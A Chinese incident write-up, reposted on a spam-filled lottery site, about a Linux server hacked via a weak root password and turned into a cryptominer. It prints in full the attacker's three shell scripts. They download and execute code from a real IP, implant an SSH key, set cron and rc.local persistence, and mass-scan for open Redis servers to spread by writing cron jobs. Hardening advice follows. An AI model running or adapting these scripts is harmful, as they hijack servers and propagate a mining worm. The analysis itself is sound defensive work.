• 省国资委党委召开省属企业党风廉政建设和反腐败工作会议 2019-08-20
  • 党的历史文献集和当代文献集 2019-08-17
  • 2018年04期 中国国家地理网 2019-08-11
  • 【成都天气】最新成都今天天气,实时提供成都气温、空气质量、24小时天气预报、生活指数查询 2019-08-11
  • 在贯彻新发展理念上再用力 2019-08-11
  • [哈哈]逻辑:既然已经按需分配了,也就是说,你的自我实现需求也都满足了,那按劳分配的那一部分有何必要?只要不哈,就知道这是很清晰平滑的逻辑。 2019-08-11
  • “西瓜足迹”瞎掰与“晒的虚荣” 2019-08-10
  • 河北:举报环境违法行为最高可奖励5万元 2019-08-10
  • 关于上合组织发展,习近平这些论述很重要! 2019-07-18
  • 中国虚拟现实创新创业大赛南昌赛区颁奖仪式举行 2019-07-16
  • 老师您好,本文中的信件内容基本无错误.但现在的00后还会听您怎么在那里教育他怎么做人吗 2019-07-15
  • 希望在线教育公益平台获第十二届人民企业社会责任奖年度案例奖 2019-07-15
  • 外媒关注:中方积极评价“特金会”成果 2019-07-10
  • 车主必看!开自动挡汽车的几大禁忌 2019-07-10
  • 台花莲发生6.5级地震已致2人遇难 2019-07-07
  • 您的位置 > 查吉林十一选五走势图 > 技术干货 > 记一次Linux被入侵,服务器变“矿机”全过程安全

    吉林十一选五走势图表:记一次Linux被入侵,服务器变“矿机”全过程安全

    查吉林十一选五走势图 www.fgxj.net 来源:炼数成金 | 2019-07-16 | 发布:经管之家

    周一早上刚到办公室,就听到同事说有一台服务器登陆不上了,我也没放在心上,继续边吃早点,边看币价是不是又跌了。

    不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对外恶意发包。


    我放下酸菜馅的包子,SSH 连了一下,被拒绝了,问了下默认的 22 端口被封了。


    让运维的同事把端口改了一下,立马连上去,顺便看了一下登录名 :root,还有不足 8 位的小白密码,心里一凉:被黑了!


    查找线索

    服务器系统 CentOS 6.X,部署了 Nginx,Tomcat,Redis 等应用,上来先把数据库全备份到本地,然后 Top 命令看了一下,有 2 个 99% 的同名进程还在运行,叫 gpg-agentd。

    Google 了一下 GPG,结果是:GPG 提供的 gpg-agent 提供了对 SSH 协议的支持,这个功能可以大大简化密钥的管理工作。


    看起来像是一个很正经的程序嘛,但仔细再看看服务器上的进程后面还跟着一个字母 d,伪装的很好,让人想起来 Windows 上各种看起来像 svchost.exe 的病毒。


    继续排查:

    ps eho command -p 23374netstat -pan | grep 23374


    查看 pid:23374 进程启动路径和网络状况,也就是来到了图 1 的目录,到此已经找到了黑客留下的二进制可执行文件。


    接下来还有 2 个问题在等着我:

    文件是怎么上传的?

    这个文件的目的是什么,或是黑客想干嘛?


    History 看一下,记录果然都被清掉了,没留下任何痕迹。继续命令 more messages:

    看到了在半夜 12 点左右,在服务器上装了很多软件,其中有几个软件引起了我的注意,下面详细讲。


    边找边猜,如果我们要做坏事,大概会在哪里做文章,自动启动?定时启动?对,计划任务:

    crontab -e


    果然,线索找到了。


    作案动机

    上面的计划任务的意思就是每 15 分钟去服务器上下载一个脚本,并且执行这个脚本。


    我们把脚本下载下来看一下:

    curl -fsSL 159.89.190.243/ash.php > ash.sh


    脚本内容如下:

    uname -a

    id

    hostname

    setenforce 0 2>/dev/null

    ulimit -n 50000

    ulimit -u 50000

    crontab -r 2>/dev/null

    rm -rf /var/spool/cron/* 2>/dev/null

    mkdir -p /var/spool/cron/crontabs 2>/dev/null

    mkdir -p /root/.ssh 2>/dev/null

    echo 'ssh-rsa


    AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx

    redisX' > /root/.ssh/authorized_keys

    echo '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/root

    echo '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/root


    yum install -y bash 2>/dev/null

    apt install -y bash 2>/dev/null

    apt-get install -y bash 2>/dev/null


    bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null


    大致分析一下该脚本的主要用途:首先是关闭 SELinux,解除 Shell 资源访问限制,然后在 /root/.ssh/authorized_keys 文件中生成 SSH 公钥。


    这样每次黑客登录这台服务器就可以免密码登录了,执行脚本就会方便很多。


    接下来安装 Bash,最后是继续下载第二个脚本 bsh.php,并且执行。继续下载并分析 bsh.pbp,内容如下:

    sleep $( seq 3 7 | sort -R | head -n1 )

    cd /tmp || cd /var/tmp

    sleep 1

    mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...

    sleep 1

    if [ -f .watch ]; then

    rm -rf .watch

    exit 0

    fi

    sleep 1

    echo 1 > .watch

    sleep 1

    ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null

    ps x | awk '!/awk/ && /barad_agent|masscan|.sr0|clay|udevs|.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/null

    sleep 1

    if ! [ -x /usr/bin/gpg-agentd ]; then

    curl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.db

    echo '/usr/bin/gpg-agentd' > /etc/rc.local

    echo 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.local

    echo 'exit 0' >> /etc/rc.local

    fi

    sleep 1

    chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd

    sleep 1

    if ! [ -x "$(command -v masscan)" ]; then

    rm -rf /var/lib/apt/lists/*

    rm -rf x1.tar.gz

    if [ -x "$(command -v apt-get)" ]; then

    export DEBIAN_FRONTEND=noninteractive

    apt-get update -y

    apt-get install -y debconf-doc

    apt-get install -y build-essential

    apt-get install -y libpcap0.8-dev libpcap0.8

    apt-get install -y libpcap*

    apt-get install -y make gcc git

    apt-get install -y redis-server

    apt-get install -y redis-tools

    apt-get install -y redis

    apt-get install -y iptables

    apt-get install -y wget curl

    fi

    if [ -x "$(command -v yum)" ]; then

    yum update -y

    yum install -y epel-release

    yum update -y

    yum install -y git iptables make gcc redis libpcap libpcap-devel

    yum install -y wget curl

    fi

    sleep 1

    curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz

    sleep 1

    [ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4

    fi

    sleep 3 && rm -rf .watch

    bash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null


    这段脚本的代码比较长,但主要的功能有 4 个:

    下载远程代码到本地,添加执行权限,chmod u+x。

    修改 rc.local,让本地代码开机自动执行。

    下载 Github 上的开源扫描器代码,并安装相关的依赖软件,也就是我上面的 Messages 里看到的记录。

    下载第三个脚本,并且执行。


    我去 Github 上看了下这个开源代码,简直吊炸天:


    Transmitting 10 Million Packets Per Second(每秒发送 1000 万个数据包),比 nmap 速度还要快,这就不难理解为什么阿里云把服务器冻结了。


    大概看了下 Readme 之后,我也没有细究,继续下载第三个脚本:

    setenforce 0 2>/dev/null

    ulimit -n 50000

    ulimit -u 50000

    sleep 1

    iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null

    iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null

    sleep 1

    rm -rf .dat .shard .ranges .lan 2>/dev/null

    sleep 1

    echo 'config set dbfilename "backup.db"' > .dat

    echo 'save' >> .dat

    echo 'flushall' >> .dat

    echo 'set backup1 "


    */2 * * * * curl -fsSL //159.89.190.243/ash.php | sh


    "' >> .dat

    echo 'set backup2 "


    */3 * * * * wget -q -O- //159.89.190.243/ash.php | sh


    "' >> .dat

    echo 'set backup3 "


    */4 * * * * curl -fsSL //159.89.190.243/ash.php | sh


    "' >> .dat

    echo 'set backup4 "


    */5 * * * * wget -q -O- //159.89.190.243/ash.php | sh


    "' >> .dat

    echo 'config set dir "/var/spool/cron/"' >> .dat

    echo 'config set dbfilename "root"' >> .dat

    echo 'save' >> .dat

    echo 'config set dir "/var/spool/cron/crontabs"' >> .dat

    echo 'save' >> .dat

    sleep 1

    masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard

    sleep 1

    while read -r h p; do

    cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &

    done < .shard

    sleep 1

    masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges

    sleep 1

    while read -r h p; do

    cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &

    done < .ranges

    sleep 1

    ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's//([0-9]{2})//16/g' > .inet

    sleep 1

    masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan

    sleep 1

    while read -r h p; do

    cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &

    done < .lan

    sleep 60

    rm -rf .dat .shard .ranges .lan 2>/dev/null


    如果说前两个脚本只是在服务器上下载执行了二进制文件,那这个脚本才真正显示病毒的威力。下面就来分析这个脚本。


    一开始的修改系统环境没什么好说的,接下来的写文件操作有点眼熟,如果用过 Redis 的人,应该能猜到,这里是对 Redis 进行配置。


    写这个配置,自然也就是利用了 Redis 把缓存内容写入本地文件的漏洞,结果就是用本地的私钥去登陆被写入公钥的服务器了,无需密码就可以登陆,也就是我们文章最开始的 /root/.ssh/authorized_keys。


    登录之后就开始定期执行计划任务,下载脚本。好了,配置文件准备好了,就开始利用 Masscan 进行全网扫描 Redis 服务器,寻找肉鸡。


    注意看这 6379 就是 Redis 服务器的默认端口,如果你的 Redis 的监听端口是公网 IP 或是 0.0.0.0,并且没有密码?;?,不好意思,你就中招了。


    总结

    通过依次分析这 3 个脚本,就能看出这个病毒的可怕之处,先是通过写入 ssh public key 拿到登录权限,然后下载执行远程二进制文件,最后再通过 Redis 漏洞复制,迅速在全网传播,以指数级速度增长。


    那么问题是,这台服务器是怎么中招的呢?看了下 redis.conf,Bind 的地址是 127.0.0.1,没啥问题。


    由此可以推断,应该是 Root 帐号被暴力破解了,为了验证我的想法,我 Lastb 看了一下,果然有大量的记录:

    还剩最后一个问题,这个 gpg-agentd 程序到底是干什么的呢?我当时的第一个反应就是矿机,因为现在数字货币太火了,加大了分布式矿机的需求,也就催生了这条灰色产业链。


    于是,顺手把这个 gpg-agentd 拖到 Ida 中,用 String 搜索 bitcoin,eth,mine 等相关单词,最终发现了这个:

    打开 nicehash.com 看一下,一切都清晰了:


    安全建议

    服务器:

    禁用 ROOT

    用户名和密码尽量复杂

    修改 SSH 的默认 22 端口

    安装 DenyHosts 防暴力破解软件

    禁用密码登录,使用 RSA 公钥登录


    Redis:

    禁用公网 IP 监听,包括 0.0.0.0

    使用密码限制访问 Redis

    使用较低权限帐号运行 Redis


    到此,整个入侵过程基本分析完了,如果大家对样本有兴趣,也可以自行去 Curl,或是去虚拟机执行上面的脚本。鉴于本人能力有限,文中难免会出现疏忽或是错误,还请大家多多指正。


    声明:本文版权归原作者所有,文章收集于网络,为传播信息而发,如有侵权,请联系小编及时处理,谢谢!


    欢迎加入本站公开兴趣群

    软件开发技术群

    兴趣范围包括:Java,C/C++,Python,PHP,Ruby,shell等各种语言开发经验交流,各种框架使用,外包项目机会,学习、培训、跳槽等交流

    QQ群:26931708


    Hadoop源代码研究群

    兴趣范围包括:Hadoop源代码解读,改进,优化,分布式系统场景定制,与Hadoop有关的各种开源项目,总之就是玩转Hadoop

    QQ群:288410967


    本文已经过优化显示,查看原文请点击以下链接:
    查看原文://it.dataguru.cn/article-14985-1.html
    京ICP备11001960号  京ICP证090565号 京公网安备1101084107号 论坛法律顾问:王进律师知识产权?;ど?/a>免责及隐私声明   主办单位:查吉林十一选五走势图 版权所有
    联系QQ:2881989700  邮箱:[email protected]
    合作咨询电话:(010)62719935 广告合作电话:13661292478(刘老师)

    投诉电话:(010)68466864 不良信息处理电话:(010)68466864
  • 省国资委党委召开省属企业党风廉政建设和反腐败工作会议 2019-08-20
  • 党的历史文献集和当代文献集 2019-08-17
  • 2018年04期 中国国家地理网 2019-08-11
  • 【成都天气】最新成都今天天气,实时提供成都气温、空气质量、24小时天气预报、生活指数查询 2019-08-11
  • 在贯彻新发展理念上再用力 2019-08-11
  • [哈哈]逻辑:既然已经按需分配了,也就是说,你的自我实现需求也都满足了,那按劳分配的那一部分有何必要?只要不哈,就知道这是很清晰平滑的逻辑。 2019-08-11
  • “西瓜足迹”瞎掰与“晒的虚荣” 2019-08-10
  • 河北:举报环境违法行为最高可奖励5万元 2019-08-10
  • 关于上合组织发展,习近平这些论述很重要! 2019-07-18
  • 中国虚拟现实创新创业大赛南昌赛区颁奖仪式举行 2019-07-16
  • 老师您好,本文中的信件内容基本无错误.但现在的00后还会听您怎么在那里教育他怎么做人吗 2019-07-15
  • 希望在线教育公益平台获第十二届人民企业社会责任奖年度案例奖 2019-07-15
  • 外媒关注:中方积极评价“特金会”成果 2019-07-10
  • 车主必看!开自动挡汽车的几大禁忌 2019-07-10
  • 台花莲发生6.5级地震已致2人遇难 2019-07-07
  • 白小姐旗袍33期 福彩刮刮乐在线试刮 万料堂更新资料库 360新疆11选5投注 浙江体彩6+1走势图 今天德国跟荷兰比分预测 四川快乐12开奖真实吗 幸运农场走势图数字 pk10 自动 王中王内部四肖中特 福建体彩网 彩票送彩金app软件大全网 竞彩足球总进球数可以穿几场 2019年特马资料 22选5开奖结果